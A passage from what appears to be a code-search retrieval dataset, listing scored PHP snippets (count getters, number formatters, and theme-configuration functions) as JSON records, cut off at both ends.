"" }, { "docid": "4ea689dbe33f0416eff2b32a81897266", "score": "0.57155925", "text": "public function getTotalFormatAttribute()\n {\n return '$' . number_format($this->total, 2, ',', '.');\n }", "title": "" }, { "docid": "d81c9efc57cefaee917db5b9a9dc0ab7", "score": "0.5706806", "text": "public function count()\n {\n $data = $this->_get_data();\n return $data['count'];\n }", "title": "" }, { "docid": "49fcf97776d59a6478e3773be8b41ffe", "score": "0.56719923", "text": "public function getPotCounter() {\n $ends = ['th', 'st', 'nd', 'rd', 'th', 'th', 'th', 'th', 'th', 'th'];\n $number = $this->state->get('draco_coffee.pot_counter');\n\n if ((($number % 100) >= 11) && (($number % 100) <= 13)) {\n return $number . 'th';\n }\n else {\n return $number . $ends[$number % 10];\n }\n }", "title": "" }, { "docid": "0a678a47285c42aa7df8da04fd2fb980", "score": "0.5627602", "text": "private function getItemCountInCart(){\n\t\tif(Cart::count() > 0)\n\t\t\treturn '<span id=\"label-cart-item-count\">'.Cart::count(false).'<span>';\n\t\telse\n\t\t\treturn '';\n\t}", "title": "" }, { "docid": "16d32bbd0a67ce36f447ac015da7d17b", "score": "0.56266665", "text": "public function getIntervalCount(): int\n {\n return $this->period;\n }", "title": "" }, { "docid": "d780ea03fbb10e45d5e7066f229e7b40", "score": "0.5598579", "text": "function formatSubscribersCount($count, $precision = 2) {\n if ($count > 1000000) {\n $formattedCount = round($count / 1000000, $precision, PHP_ROUND_HALF_DOWN) . 'M';\n } elseif ($count > 1000) {\n $formattedCount = round($count / 1000, $precision, PHP_ROUND_HALF_DOWN) . 'K';\n } else {\n $formattedCount = $count;\n }\n return $formattedCount;\n}", "title": "" }, { "docid": "28dc4953fdb6c0a161b3d70b3ca196fb", "score": "0.55783665", "text": "public function getNumLabels()\n {\n return $this->binStyle->getNumLabels();\n }", "title": "" }, { "docid": "6ec293d3806a23819f06978932f39d30", "score": "0.55628455", "text": "public function getLabelCounts()\n {\n return $this->label_counts;\n }", "title": "" }, { "docid": "6ec293d3806a23819f06978932f39d30", "score": "0.55628455", "text": "public function getLabelCounts()\n {\n return $this->label_counts;\n }", "title": "" }, { "docid": "0cd7ee561308274360f8ac1635869974", "score": "0.5523815", "text": "public function get_count()\n {\n return $this->count;\n }", "title": "" }, { "docid": "766a5f267dff0ddb51cbb3211607164b", "score": "0.54878587", "text": "public function formatted()\n {\n $separator = array_get($this->object->getConfig(), 'separator');\n\n return number_format($this->object->getValue(), 0, '.', $separator);\n }", "title": "" }, { "docid": "ef8154f2d9ed3ae5eb800dca1f072569", "score": "0.54807514", "text": "public function get_count() {\n\t\treturn $this->count;\n\t}", "title": "" }, { "docid": "2b13e3be4434f717715a708bb0fb1cd2", "score": "0.5474464", "text": "public function get_Count() {\n return $this->count;\n }", "title": "" }, { "docid": "50396ac696cddca5d7a3ecebf1980748", "score": "0.54710805", "text": "public function getFormattedFleetQuantity()\n\t{\n\t\treturn fNumber($this->getFleetQuantity());\n\t}", "title": "" }, { "docid": "77bb51b1667a13635090155763159a30", "score": "0.54539925", "text": "public function getFrequency() : int\n {\n $rtn = $this->data['frequency'];\n\n return $rtn;\n }", "title": "" }, { "docid": "9729f65308f5436d6661fcdcf35fb2fa", "score": "0.5451474", "text": "public function getTotalInc()\n {\n $value = $this->get(self::TOTALINC);\n return $value === null ? (string)$value : $value;\n }", "title": "" }, { "docid": "68884d9c191c78a88ab381bee76c196e", "score": "0.54474205", "text": "public function getCount()\n {\n return $this->fields['Count']['FieldValue'];\n }", "title": "" }, { "docid": "2876732b3123f2b4be02b02bf78c0f64", "score": "0.54389036", "text": "public function count()\n {\n return $this->cell_count;\n }", "title": "" }, { "docid": "fe7a90dc426d3532beca0ac7eebf3dd4", "score": "0.5406071", "text": "public function get_count()\r\n {\r\n return $this->item_count;\r\n }", "title": "" }, { "docid": "32dd22630dd28a7a2700100427b765fb", "score": "0.5395951", "text": "public function getNumberCount()\n {\n $number = $this->getNumber();\n $retValue = 0;\n if (!empty($number)) {\n $retValue = count(explode(',', $number));\n }\n return $retValue;\n }", "title": "" }, { "docid": "d0aca339e9fc4e547b04dc6762f93a34", "score": "0.53907", "text": "public function count(): int\n {\n return $this->total();\n }", "title": "" }, { "docid": "50d557eefd76277f4091bd2473b4771e", "score": "0.5386544", "text": "public function counter() {\n\t\tif ((!$this->min && !$this->max && !$this->counter) || $this->readonly() || $this->counter === false) return null;\n\t\t\n\t\t$counter = new Brick('div');\n\t\t$counter->addClass('field-counter marginalia text');\n\t\t\n\t\tif (!$this->validate()) {\n\t\t\t$counter->addClass('outside-range');\n\t\t}\n\t\t\n\t\t$counter->html(count($this->value()) . ($this->max ? '/' . $this->max : ''));\n\t\t\n\t\treturn $counter;\n\t}", "title": "" }, { "docid": "98b6c923de237260d03ba6fb05082264", "score": "0.5384517", "text": "public function getCount()\n {\n return $this->Count;\n }", "title": "" }, { "docid": "6d7c9d20e7cacb364b595d836338ef66", "score": "0.537634", "text": "public function count()\n {\n return $this->timers->count();\n }", "title": "" }, { "docid": "8b33fdbe2a2ee75b756480b122e5be98", "score": "0.53762114", "text": "public function getAxisLabelLineLength()\n\t{\n\t\treturn $this->axis_label_linelength;\n\t}", "title": "" }, { "docid": "6a30b0572e5e1f4045a15907331f6402", "score": "0.5369305", "text": "public function getCount(){\n\t\treturn ceil($this->count/$this->options['per']);\n\t}", "title": "" }, { "docid": "fff71056ca51c78a085d23f8d9a645c5", "score": "0.5356278", "text": "function nm_shop_category_count( $string, $category ) {\r\n return '<mark class=\"count\">' . sprintf( __( '%s products', 'nm-framework' ), $category->count ) . '</mark>';\r\n }", "title": "" }, { "docid": "8a47abd59c771fe0f6644995e93a1024", "score": "0.5354891", "text": "public function count() {\r\n\t\tif(is_int($this->count)):\r\n\t\t\treturn $this->count;\r\n\t\telse:\r\n\t\t\treturn 0;\r\n\t\tendif;\r\n\t}", "title": "" }, { "docid": "f889d261a9e8a86d21c63024beea1206", "score": "0.5349403", "text": "public function getCount()\n {\n return $this->options['count'];\n }", "title": "" }, { "docid": "01c8684b5f7b311cefcee0763f46a524", "score": "0.534795", "text": "public function prixTTC()\n {\n return number_format($this->prix_ht * 1.2, 2);\n }", "title": "" }, { "docid": "8f8e34104f177e26a56c9a35da362f30", "score": "0.53438276", "text": "public function get_notification_count()\n\t{\n\t\t$not_tot = get_notify_countByUser();\n\t\tif($not_tot != 0)\n\t\t{\n\t\t echo '<span class=\"m-nav__link-badge m-badge m-badge--danger noti_count\" id=\"badge\">'.$not_tot.'<span>';\n\t\t}\n\t\telse\n\t\t{\n\t\t echo \"\";\n\t\t}\n\t}", "title": "" }, { "docid": "200459d90a5d96a3b8736901c0f4f0b3", "score": "0.5336339", "text": "public function get_count()\n\t{\n\t\treturn $this->_counter;\n\t}", "title": "" }, { "docid": "a68eaceeeb3f4314ab5b8ad603b3057e", "score": "0.53288895", "text": "public function count()\n {\n return $this->count;\n }", "title": "" }, { "docid": "a68eaceeeb3f4314ab5b8ad603b3057e", "score": "0.53288895", "text": "public function count()\n {\n return $this->count;\n }", "title": "" }, { "docid": "a68eaceeeb3f4314ab5b8ad603b3057e", "score": "0.53288895", "text": "public function count()\n {\n return $this->count;\n }", "title": "" }, { "docid": "63c142d338adb71ae183ddac9ef66082", "score": "0.53227574", "text": "public static function getCounter()\n {\n return self::$count;\n }", "title": "" }, { "docid": "690b8826f24fc73ac65b62a8c874e78c", "score": "0.53207296", "text": "final public static function getCount() {\n\t\treturn self::$counts;\n\t}", "title": "" }, { "docid": "bc5a92ee4f0de7f6562769790792d288", "score": "0.5316213", "text": "public function count ()\n {\n return $this->decorated->count();\n }", "title": "" }, { "docid": "b55ea9d1bdb529de52e6a1fdc80d30f5", "score": "0.53138554", "text": "function getCount() {\n\t\treturn $this->_attributes['count'];\n\t}", "title": "" }, { "docid": "272505a618c49686593e79d71af62d5b", "score": "0.5312856", "text": "public function getCountCallback()\n {\n return $this->_getValue('count');\n }", "title": "" }, { "docid": "d89975b569e94c5169f5b04996f43063", "score": "0.5306615", "text": "public function getCounts()\n {\n return $this->counts;\n }", "title": "" }, { "docid": "d89975b569e94c5169f5b04996f43063", "score": "0.5306615", "text": "public function getCounts()\n {\n return $this->counts;\n }", "title": "" }, { "docid": "c6bdfa83ee07471a6b70caec0e5af2d8", "score": "0.53015924", "text": "public function getTotalCount() {\n\t\treturn $this->totalCount;\t\n\t}", "title": "" }, { "docid": "ec2fab8296fec48eba4b8affbf514dec", "score": "0.52979213", "text": "public function getTotalCount()\n {\n return $this->totalCount;\n }", "title": "" }, { "docid": "ec2fab8296fec48eba4b8affbf514dec", "score": "0.52979213", "text": "public function getTotalCount()\n {\n return $this->totalCount;\n }", "title": "" }, { "docid": "9b1343cd4e96643dfc81ac6f5cce60d5", "score": "0.5295411", "text": "public function getCounter()\n \t{\n \t\treturn $this->countValue;\n \t}", "title": "" }, { "docid": "3cceeb274d2f495ccc7fc07dd1320b2a", "score": "0.5294397", "text": "public function count()\n {\n return $this->_count;\n }", "title": "" }, { "docid": "3afc0d43c0884e4eb38d5018165f2049", "score": "0.5291466", "text": "public function getIntervalCount() {\n\t\treturn $this->getCycle()->getIntervalCount();\n\t}", "title": "" }, { "docid": "37c112956d8dde3cd0c27230a806f817", "score": "0.52847195", "text": "public function count() : int {\n return $this->count;\n }", "title": "" }, { "docid": "62f8797a67783050258d16a6b98766fb", "score": "0.52829945", "text": "public function prepareTotalCount()\n {\n return ArrayHelper::getValue($this->client->get($this->path), 'total_items');\n }", "title": "" }, { "docid": "342cf26c6dd7bec88d69bb6337c3f873", "score": "0.5274102", "text": "public function countInfo()\n {\n return $this->count['info'];\n }", "title": "" }, { "docid": "1ad9ed9238adb34f1cf9d19ed8e357ca", "score": "0.52702016", "text": "public function getTotalCount()\n {\n return $this->total_count;\n }", "title": "" }, { "docid": "7ba78cb62ad24b87f3b6ba269122b80d", "score": "0.5269099", "text": "public function getTopicsCount() {\n\t\t\tglobal $db;\n\n\t\t\t$res = $db->query(\"SELECT id FROM \".TABLE_TOPICS.\" WHERE forum_id = ?\", array($this->id));\n\t\t\treturn number_format($db->numRows($res), 0, ',', '.');\n\t\t}", "title": "" }, { "docid": "0b1520a7c93e6e562906a1431d416a38", "score": "0.52624464", "text": "public function get_nAxis(): int\n {\n // $res is a int;\n if ($this->_cacheExpiration <= YAPI::GetTickCount()) {\n if ($this->load(YAPI::$_yapiContext->GetCacheValidity()) != YAPI::SUCCESS) {\n return self::NAXIS_INVALID;\n }\n }\n $res = $this->_nAxis;\n return $res;\n }", "title": "" }, { "docid": "0b1520a7c93e6e562906a1431d416a38", "score": "0.52624464", "text": "public function get_nAxis(): int\n {\n // $res is a int;\n if ($this->_cacheExpiration <= YAPI::GetTickCount()) {\n if ($this->load(YAPI::$_yapiContext->GetCacheValidity()) != YAPI::SUCCESS) {\n return self::NAXIS_INVALID;\n }\n }\n $res = $this->_nAxis;\n return $res;\n }", "title": "" }, { "docid": "4e49d7680ae0cfc0055181e8c0c4bdf7", "score": "0.52624094", "text": "protected function getPaddedCounter()\n {\n return str_pad(UpdateConfigAction::$counter, 6, '0', STR_PAD_LEFT);\n }", "title": "" }, { "docid": "5bd3fbe32e578e56a33d613cee49e6ea", "score": "0.52555835", "text": "public function getCurrencyNum()\n\t{\n\t\treturn \\count(\\App\\Fields\\Currency::getAll(true));\n\t}", "title": "" }, { "docid": "74b5dac4a9d8494f0d09f8ca90b8b8ad", "score": "0.52453345", "text": "public function count()\n {\n return (int) $this->engine()->count($this);\n }", "title": "" }, { "docid": "352cc5c88d83530531e2dfc3828315b8", "score": "0.524151", "text": "public function prixTTC() {\n return number_format($this->prix_ht * 1.2,2);\n }", "title": "" }, { "docid": "c8eda522a00ad1276e4a70d082ebad75", "score": "0.52275336", "text": "public function prixTTC(){\n $prix_ttc = $this->prix_ht * self::$facteur_tva;\n return number_format($prix_ttc, 2);\n }", "title": "" }, { "docid": "ded7a03455ad7f7e2619838a576f6e52", "score": "0.5223794", "text": "public function getCount()\n {\n return $this->_count;\n }", "title": "" }, { "docid": "ded7a03455ad7f7e2619838a576f6e52", "score": "0.5223794", "text": "public function getCount()\n {\n return $this->_count;\n }", "title": "" }, { "docid": "7dee828b8558b882de0a63d24722b9fe", "score": "0.5221241", "text": "public function getAsHundredths(): int;", "title": "" }, { "docid": "493e87ee3d55cdf94eadb3de270a84c8", "score": "0.52162975", "text": "public function getTotalCount() {\n\t\treturn $this->totalCount;\n\t}", "title": "" }, { "docid": "27caf23a25b00ff948eefb015cc96064", "score": "0.52136725", "text": "public function getChartCount()\n {\n return count($this->chartCollection);\n }", "title": "" }, { "docid": "cfd5ad3ea7d5a51791523bc254838732", "score": "0.52115697", "text": "public function getCount()\n {\n return $this->count;\n }", "title": "" }, { "docid": "cfd5ad3ea7d5a51791523bc254838732", "score": "0.52115697", "text": "public function getCount()\n {\n return $this->count;\n }", "title": "" }, { "docid": "cfd5ad3ea7d5a51791523bc254838732", "score": "0.52115697", "text": "public function getCount()\n {\n return $this->count;\n }", "title": "" }, { "docid": "cfd5ad3ea7d5a51791523bc254838732", "score": "0.52115697", "text": "public function getCount()\n {\n return $this->count;\n }", "title": "" }, { "docid": "cfd5ad3ea7d5a51791523bc254838732", "score": "0.52115697", "text": "public function getCount()\n {\n return $this->count;\n }", "title": "" }, { "docid": "cfd5ad3ea7d5a51791523bc254838732", "score": "0.52115697", "text": "public function getCount()\n {\n return $this->count;\n }", "title": "" }, { "docid": "cfd5ad3ea7d5a51791523bc254838732", "score": "0.52115697", "text": "public function getCount()\n {\n return $this->count;\n }", "title": "" }, { "docid": "cfd5ad3ea7d5a51791523bc254838732", "score": "0.52115697", "text": "public function getCount()\n {\n return $this->count;\n }", "title": "" }, { "docid": "cfd5ad3ea7d5a51791523bc254838732", "score": "0.52115697", "text": "public function getCount()\n {\n return $this->count;\n }", "title": "" }, { "docid": "cfd5ad3ea7d5a51791523bc254838732", "score": "0.52115697", "text": "public function getCount()\n {\n return $this->count;\n }", "title": "" }, { "docid": "cfd5ad3ea7d5a51791523bc254838732", "score": "0.52115697", "text": "public function getCount()\n {\n return $this->count;\n }", "title": "" }, { "docid": "17ff74accd58b380ff4482dfcb100a70", "score": "0.5210648", "text": "public function getCmdCount()\n {\n $value = $this->get(self::CMDCOUNT);\n return $value === null ? (integer)$value : $value;\n }", "title": "" }, { "docid": "a0a3e21847b426f16f66973166972058", "score": "0.5209879", "text": "public function count()\n {\n $num = 0;\n foreach ($this->items as $item) {\n $num += $item['qty'];\n }\n\n return $num;\n }", "title": "" }, { "docid": "50c750f2950cde6ccea003f643f374be", "score": "0.5209653", "text": "public function getShortTotalTopics()\n {\n return $this->convertFormat($this->totalTopics);\n }", "title": "" }, { "docid": "fb9dda10da6a7fd8970322c3b1d6807b", "score": "0.520622", "text": "function display_count($text_output) {\n $to_num = ($this->number_of_rows_per_page * $this->current_page_number);\n if ($to_num > $this->number_of_rows) $to_num = $this->number_of_rows;\n\n $from_num = ($this->number_of_rows_per_page * ($this->current_page_number - 1));\n\n if ($to_num == 0) {\n $from_num = 0;\n } else {\n $from_num++;\n }\n\n return sprintf($text_output, $from_num, $to_num, $this->number_of_rows);\n }", "title": "" } ]
6fec6184062b7c56a5ed40af89ec6dcc
Returns the configuration array to build the default theme for this controller If null is returned the default theme from the site configuration will be used, unless some other code changes it
[ { "docid": "f7b2b23dddece95d9fc3ca065fe7db3d", "score": "0.64708674", "text": "public function getDefaultControllerThemeConfig($actionName)\n {\n return $this->default_theme_config;\n }", "title": "" } ]
[ { "docid": "de68b1aff019f26109d0cda421ef8039", "score": "0.7128257", "text": "public function getThemeConfigurations()\n {\n // cache configuration for all properties\n if (xarCoreCache::isCached('Themes','Configurations')) {\n $allconfigurations = xarCoreCache::getCached('Themes','Configurations');\n } else {\n sys::import('xaraya.structures.query');\n xarMod::load('themes');\n $tables =& xarDB::getTables();\n $q = new Query('SELECT',$tables['themes_configurations']);\n $c[] = $q->peq('theme_id',$this->theme_id);\n $c[] = $q->peq('theme_id',0);\n $q->qor($c);\n $q->run();\n $allconfigurations = array();\n foreach ($q->output() as $row){\n $row['applies'] = 0;\n $allconfigurations[$row['name']] = $row;\n }\n \n sys::import('modules.themes.class.configurations');\n $config = new Configurations();\n $info = xarMod::getInfo($this->theme_id,'theme');\n \n // Get the theme specific options being used in the theme\n $var_re = \"!xarThemeVars::get\\(\\s*[\\\"|\\']\" . $info['name'] . \"[\\\"|\\']+\\s*,\\s*[\\'|\\\"]+([^\\\"|\\']*)[\\\"|\\']\\s*\\)!is\";\n $config->parseTheme($this->theme_id, $var_re); \n //$config->parseTheme($this->theme_id,\"/xarThemeVars::get\\(\\W*[\\'\\\"]\" . $info['name'] . \"[\\'\\\"]\\W*,\\W*[\\'\\\"](.+)[\\'\\\"]\\W*\\)/\");\n $activeoptions = array_keys($config->configurations);\n foreach ($allconfigurations as $key => $row) {\n if (in_array($key,$activeoptions)) {\n $allconfigurations[$key]['applies'] = 2;\n }\n }\n $configoptions['specific'] = $config->configurations;\n \n \n // Get the common options being called in the theme\n $config = new Configurations();\n $commonlabel = \"common\";\n $var_re = \"!xarThemeVars::get\\(\\s*[\\\"|\\']\" . $commonlabel . \"[\\\"|\\']+\\s*,\\s*[\\'|\\\"]+([^\\\"|\\']*)[\\\"|\\']\\s*\\)!is\";\n $config->parseTheme($this->theme_id, $var_re);\n //$config->parseTheme($this->theme_id,\"/xarThemeVars::get\\(\\W*[\\'\\\"]\" . $commonlabel . \"[\\'\\\"]\\W*,\\W*[\\'\\\"](.+)[\\'\\\"]\\W*\\)/\");\n $activeoptions = array_keys($config->configurations);\n foreach ($allconfigurations as $key => $row) {\n if (in_array($key,$activeoptions)) {\n $allconfigurations[$key]['applies'] = 1;\n }\n }\n\n xarCoreCache::setCached('Themes','Configurations', $allconfigurations);\n }\n return $allconfigurations;\n }", "title": "" }, { "docid": "11cf84a0942eea5f7c9787cbad7716a6", "score": "0.69019985", "text": "protected function getDefaultConfig()\n\t{\n\t return array(\n\t 'form_theme' => 'ASFUserBundle:Form:fields.html.twig'\n\t );\n\t}", "title": "" }, { "docid": "37b7ba7c8ed5995d77579db26889bd40", "score": "0.6687164", "text": "function uwtheme_get_default_theme_options() {\n\t$default_theme_options = array(\n\t\t'color_scheme' => 'light',\n\t\t'link_color' => uwtheme_get_default_link_color( 'light' ),\n\t);\n\n\treturn apply_filters( 'uwtheme_default_theme_options', $default_theme_options );\n}", "title": "" }, { "docid": "614a7883e4896b5f542fa8e28a7d8d52", "score": "0.6606295", "text": "public static function theme () {\n\t\t$conf = self::conf ();\n\t\tif ($conf['App Settings']['theme']) {\n\t\t\treturn self::$controller->run ($conf['App Settings']['theme']);\n\t\t}\n\t\treturn '';\n\t}", "title": "" }, { "docid": "63b3b43330b459a8df920266f896113d", "score": "0.657185", "text": "public function getThemeConfig()\n {\n if (empty($this->_themeConfig)) {\n $file = $this->getThemeFolder() . 'theme.json';\n $this->_themeConfig = Helper::getConfigFile($file);\n }\n return $this->_themeConfig;\n }", "title": "" }, { "docid": "f57c7ecd1b38d769ad941197628781f3", "score": "0.6562869", "text": "function get_default_theme()\r\r\n\t{\r\r\n\r\r\n $this->db->select('default_theme');\r\r\n $this->db->where('id = ', 1);\r\r\n $query = $this->db->get('settings');\r\r\n\r\r\n\t\t$row = $query->row();\r\r\n\r\r\n\t\treturn $row->default_theme;\r\r\n\t}", "title": "" }, { "docid": "ee674db7db75270fe7ba8d1b7d58297a", "score": "0.6538208", "text": "public function getTheme();", "title": "" }, { "docid": "02d545fb552724d0e2a3754ee00e6230", "score": "0.64550865", "text": "function get_userTheme()\r\n{\r\n $CI=&get_instance();\r\n $CI->load->model(\"theme_model\");\r\n $theme=array();\r\n \r\n $folder=rtrim($CI->router->fetch_directory(),\"/\");\r\n if($folder==\"admin\")//admin theme requested\r\n {\r\n $theme=get_adminLoggedIn(\"admin_theme_settings\");\r\n if(empty($theme))\r\n {\r\n $CI->load->model(\"theme_model\");\r\n $temp=$CI->theme_model->theme_load(\r\n array(\"i_is_default_admin\"=>1)\r\n );\r\n $theme=unserialize($temp[0]->s_theme_settings);\r\n }\r\n } \r\n else//frontend theme requested\r\n {\r\n $theme=get_userLoggedIn(\"user_theme_settings\");///loggedin as user\r\n if(empty($theme))\r\n $theme=get_adminLoggedIn(\"user_theme_settings\");///logged in as admin but viewing fe. \r\n \r\n /**\r\n * Still the theme is empty, \r\n * then load the defualt theme\r\n */\r\n if(empty($theme))\r\n {\r\n $CI->load->model(\"theme_model\");\r\n $temp=$CI->theme_model->theme_load(\r\n array(\"i_is_default_fe\"=>1)\r\n ); \r\n $theme=unserialize($temp[0]->s_theme_settings);\r\n } \r\n }\r\n //pr($theme);\r\n return $theme;\r\n}", "title": "" }, { "docid": "a92f2cb92d24251f1847e093f43f5e45", "score": "0.6429351", "text": "function theme() {\n return Gdn::themeManager()->currentTheme();\n }", "title": "" }, { "docid": "68bcbb897d4871d971263920ed219de6", "score": "0.6424931", "text": "function cardealer_megamenu_override_default_theme($value) {\r\n\t$value['primary-menu']['theme'] = 'default'; // change my_custom_theme_key to the ID of your exported theme\t\t\r\n\treturn $value;\r\n}", "title": "" }, { "docid": "eaae50909c3bfc7a6f0f3bd13b9f8aac", "score": "0.6387911", "text": "private function _getThemeToUse() {\n\n $theme = \"\";\n $useUserTheme = $this->_config->get(\"style.global.userThemeHasPriority\");\n\n if ($this->_theme!==null) {\n $theme = $this->_theme;\n }\n else {\n if ($useUserTheme) {\n $userTheme = $this->_getUserTheme();\n if ($userTheme!==null) {\n $theme = $userTheme;\n }\n }\n\n if (empty($theme)) {\n $theme = $this->_getSessionTheme();\n }\n\n\n if (empty($theme)) {\n $theme = $this->_default;\n if ($theme===null) {\n $theme = \"default\";\n }\n }\n }\n return $theme;\n\n }", "title": "" }, { "docid": "4b64861d14a84e4cb9fc431145650701", "score": "0.6386402", "text": "function getTheme()\n{\n $root =& XCube_Root::getSingleton();\n return $root->mContext->getXoopsConfig('theme_set');\n}", "title": "" }, { "docid": "9ff00caebf2aea56b85c45e95fbd0e0e", "score": "0.6370254", "text": "function getTheme()\n {\n return $this->_admin['theme'];\n }", "title": "" }, { "docid": "3e17f66a558e29447717b27938555e54", "score": "0.635035", "text": "function newsup_get_default_theme_options() {\r\n\r\n $defaults = array();\r\n\r\n \r\n // Header options section\r\n $defaults['header_layout'] = 'header-layout-1';\r\n $defaults['banner_advertisement_section'] = '';\r\n $defaults['banner_advertisement_section_url'] = '';\r\n $defaults['banner_advertisement_scope'] = 'front-page-only';\r\n\r\n\r\n // Frontpage Section.\r\n $defaults['show_popular_tags_title'] = __('Top Tags', 'newsup');\r\n $defaults['number_of_popular_tags'] = 7;\r\n $defaults['select_popular_tags_mode'] = 'post_tag';\r\n\r\n $defaults['show_flash_news_section'] = 1;\r\n $defaults['flash_news_title'] = __('Latest Post', 'newsup');\r\n $defaults['select_flash_news_category'] = 0;\r\n $defaults['number_of_flash_news'] = 5;\r\n $defaults['select_flash_new_mode'] = 'flash-slide-left';\r\n $defaults['banner_flash_news_scope'] = 'front-page-only';\r\n $defaults['show_main_news_section'] = 1;\r\n $defaults['select_main_banner_section_mode'] = 'default';\r\n $defaults['select_vertical_slider_news_category'] = 0;\r\n $defaults['vertical_slider_number_of_slides'] = 5;\r\n $defaults['select_slider_news_category'] = 0;\r\n $defaults['select_tabbed_thumbs_section_mode'] = 'tabbed';\r\n $defaults['select_tab_section_mode'] = 'default';\r\n $defaults['latest_tab_title'] = __(\"Latest\", 'newsup');\r\n $defaults['popular_tab_title'] = __(\"Popular\", 'newsup');\r\n $defaults['trending_tab_title'] = __(\"Trending\", 'newsup');\r\n $defaults['select_trending_tab_news_category'] = 0;\r\n $defaults['select_thumbs_news_category'] = 0;\r\n $defaults['number_of_slides'] = 5;\r\n $defaults['show_featured_news_section'] = 1;\r\n $defaults['featured_news_section_title'] = __('Featured Story', 'newsup');\r\n $defaults['select_featured_news_category'] = 0;\r\n $defaults['number_of_featured_news'] = 6;\r\n $defaults['main_banner_section_background_image']= '';\r\n $defaults['remove_header_image_overlay'] = 0;\r\n\r\n\r\n\r\n\r\n $defaults['show_editors_pick_section'] = 1;\r\n $defaults['frontpage_content_alignment'] = 'align-content-left';\r\n\r\n //layout options\r\n $defaults['newsup_content_layout'] = 'align-content-left';\r\n $defaults['global_post_date_author_setting'] = 'show-date-author';\r\n $defaults['global_hide_post_date_author_in_list'] = 1;\r\n $defaults['global_widget_excerpt_setting'] = 'trimmed-content';\r\n $defaults['global_date_display_setting'] = 'theme-date';\r\n \r\n $defaults['frontpage_latest_posts_section_title'] = __('You may have missed', 'newsup');\r\n $defaults['frontpage_latest_posts_category'] = 0;\r\n $defaults['number_of_frontpage_latest_posts'] = 4;\r\n\r\n //Single\r\n $defaults['single_show_featured_image'] = true;\r\n $defaults['single_show_share_icon'] = true;\r\n\r\n\r\n // filter.\r\n $defaults = apply_filters('newsup_filter_default_theme_options', $defaults);\r\n\r\n\treturn $defaults;\r\n\r\n}", "title": "" }, { "docid": "b552baa477e1a2d53622286cc44fe196", "score": "0.63098145", "text": "public static function get_default_settings() {\n\n\t\t// Get panels array\n\t\t$panels = self::get_panels();\n\n\t\t// Add array\n\t\t$default = array();\n\n\t\tforeach ( $panels as $key => $val ) {\n\t\t\t$default[$key] = 1;\n\t\t}\n\n\t\t// Return\n\t\treturn apply_filters( 'oe_default_panels', $default );\n\n\t}", "title": "" }, { "docid": "1763365f6c7271a4c28b4f7bc32693a2", "score": "0.62999773", "text": "public function getDefaultSettings()\n {\n return array(\n 'theme' \t\t\t=> 'kokx',\n 'middle_text'\t\t=> $this->_main->getDict()->get('After the battle...'),\n 'hide_time' \t\t=> true,\n 'merge_fleets' \t\t=> true,\n 'advanced_summary' => false,\n 'harvest_spoiler' \t=> false,\n\t\t\t'lang'\t\t\t\t=> 'en'\n );\n }", "title": "" }, { "docid": "de839dd45bb35d98d8da94f3dfbe2bf9", "score": "0.6274441", "text": "protected function getDefaultConfig(): array\n {\n return [\n 'sitename' => 'Default Bolt site',\n 'records_per_page' => 10,\n 'records_on_dashboard' => 5,\n 'theme' => 'base-2020',\n 'listing_template' => 'listing.html.twig',\n 'listing_records' => '5',\n 'listing_sort' => 'datepublish DESC',\n 'enforce_ssl' => false,\n 'thumbnails' => [\n 'default_thumbnail' => [160, 120],\n 'default_image' => [1000, 750],\n 'quality' => 80,\n 'cropping' => 'crop',\n 'notfound_image' => 'bolt_assets://img/default_notfound.png',\n 'error_image' => 'bolt_assets://img/default_error.png',\n 'only_aliases' => false,\n ],\n 'accept_file_types' => explode(',', 'twig,html,js,css,scss,gif,jpg,jpeg,png,ico,zip,tgz,txt,md,doc,docx,pdf,epub,xls,xlsx,csv,ppt,pptx,mp3,ogg,wav,m4a,mp4,m4v,ogv,wmv,avi,webm,svg,avif,webp'),\n 'accept_media_types' => explode(',', 'gif,jpg,jpeg,png,svg,pdf,mp3,tiff,avif,webp'),\n 'accept_upload_size' => '8M',\n 'upload_location' => '{contenttype}/{year}/{month}/',\n 'maintenance_mode' => false,\n 'headers' => [\n 'allow_floc' => false,\n 'powered_by' => true,\n ],\n 'htmlcleaner' => [\n 'allowed_tags' => explode(',', 'div,span,p,br,hr,s,u,strong,em,i,b,li,ul,ol,mark,blockquote,pre,code,tt,h1,h2,h3,h4,h5,h6,dd,dl,dh,table,tbody,thead,tfoot,th,td,tr,a,img,address,abbr,iframe'),\n 'allowed_attributes' => explode(',', 'id,class,style,name,value,href,Bolt,alt,title,width,height,frameborder,allowfullscreen,scrolling'),\n 'allowed_frame_targets' => explode(',', '_blank,_self,_parent,_top'),\n ],\n 'notfound' => 'helpers/page_404.html.twig',\n 'maintenance' => 'helpers/page_503.html.twig',\n 'forbidden' => 'helpers/page_403.html.twig',\n 'internal_server_error' => 'helpers/page_500.html.twig',\n 'localization' => [\n 'fallback_when_missing' => true,\n 'remove_default_locale_on_canonical' => true,\n ],\n 'omit_backgrounds' => false,\n 'omit_meta_generator_tag' => false,\n 'omit_canonical_link' => false,\n 'user_avatar' => [\n 'upload_path' => 'avatars',\n 'extensions_allowed' => ['png', 'jpeg', 'jpg', 'gif'],\n 'default_avatar' => '',\n ],\n 'user_show_sort&filter' => false,\n 'caching' => [\n 'related_options' => null,\n 'options_preparse' => null,\n 'canonical' => null,\n 'formatter' => null,\n 'selectoptions' => null,\n 'content_array' => null,\n 'frontend_menu' => null,\n 'backend_menu' => null,\n 'files_index' => null,\n ],\n ];\n }", "title": "" }, { "docid": "c8d4f0132e6718b0b51f81be28d8b86f", "score": "0.62487006", "text": "function getTheme()\n {\n $theme_type = $this->theme_type ? $this->theme_type : 'public';\n return mm_getSetting(\"theme.$theme_type\", mm_getConfigValue(\"theme.$theme_type\"));\n }", "title": "" }, { "docid": "2d3b5026560cb09f587efcc97d2bfdad", "score": "0.6233213", "text": "public function getTheme()\r\n {\r\n \tif (mb_strlen($this->theme) && mb_strtolower($this->theme) != 'default') {\r\n \t\treturn mb_strtolower($this->theme);\r\n \t}\r\n \t\r\n \tif (mb_strtolower($this->theme) == 'default') {\r\n \t\treturn '';\r\n \t}\r\n\r\n \treturn za()->getConfig('theme', '');\r\n }", "title": "" }, { "docid": "3fd506a441fe9e16e2dcd7bd53e8484d", "score": "0.6224999", "text": "public function themes()\n {\n return array(\n 'light' => 'Light',\n 'dark' => 'Dark'\n );\n }", "title": "" }, { "docid": "2b1bd0960b6378b064f38c2f51ffbd9f", "score": "0.6211405", "text": "function partoo_setup_theme_default_settings()\n\t{\n\t\t// Caution: DO NOT check existence using === always check with == .\n\t\t// Latest blog posts style.\n\t\t$partoo_posts_index_style = get_theme_mod('partoo_posts_index_style');\n\t\tif ('' == 